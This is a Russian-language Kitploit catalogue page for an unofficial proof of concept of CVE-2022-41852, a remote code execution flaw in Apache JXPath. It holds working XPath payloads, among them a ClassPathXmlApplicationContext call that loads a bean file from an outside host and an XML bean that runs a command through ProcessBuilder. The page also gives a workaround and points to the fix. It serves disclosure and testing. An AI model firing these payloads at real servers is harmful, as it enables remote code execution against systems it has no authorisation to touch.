Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-41852 — CVE-2022-41852 Доказательство концепции (неофициальное) | Kitploit
Инструменты/GitHubGitHub/warxim/cve-2022-41852
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Доказательство концепции (неофициальное)

Репозиторий
74153 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Удаленное выполнение кода в библиотеке JXPath (CVE-2022-41852) Proof of Concept

CVE-2022-41852 позволяет злоумышленникам выполнять код на сервере приложений.

Подробнее об этой уязвимости можно прочитать здесь:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Примечание: Я не являюсь автором этой CVE. Я только создал этот proof of concept.

Полезные ссылки

  • JXPath GitHub
  • JXPath сайт
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Описание уязвимости

Библиотека JXPath поддерживает выполнение функций в XPath-выражениях (см. Официальное руководство пользователя).

Например, методы JXPathContext.getValue(path) и JXPathContext.iterate(path) опасны, если позволить пользователю передавать ввод в параметр path.

Описание PoC

Этот PoC запускает простой Spring-сервер с двумя конечными точками:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

У этих конечных точек есть только один параметр запроса "path".

Возможные URL-адреса запросов

Следующие запросы будут работать нормально (не вызовут проблем):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

Следующие запросы приведут к выполнению кода:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Примеры полезных нагрузок

Примеры полезных нагрузок для обнаружения CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Существуют различные способы выполнения команд. Один из них — использование Spring's ClassPathXmlApplicationContext:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

В XML-файле можно определить конфигурацию бинов, например, создать экземпляр ProcessBuilder и запустить указанную команду на сервере, инициализировав бин с помощью метода start(). В следующем примере на машине с Windows будет открыт калькулятор:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Также существует способ загрузки новых классов через обход контекстного бина. Например, следующий код загрузит класс com.warxim.dangerous.DangerousClass, создаст его экземпляр и вызовет метод run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Обратите внимание, что мы должны вызывать методы объекта, передавая объект, содержащий их, в качестве первого параметра.

Обходное решение для CVE-2022-41852

Можно отключить функции в JXPathContext, установив поле functions в пустой FunctionLibrary.

root@kitploit:~
// Создаём контекст пути для объекта person
var pathContext = JXPathContext.newContext(person);

// Устанавливаем пустую библиотеку функций
pathContext.setFunctions(new FunctionLibrary());

// getValue выбросит org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Примечание: Это отключит все функции, поэтому даже такие функции, как size(), будут недоступны.

Исправление

Исправление разрабатывается, см. https://github.com/apache/commons-jxpath/pull/26

Скачать инструмент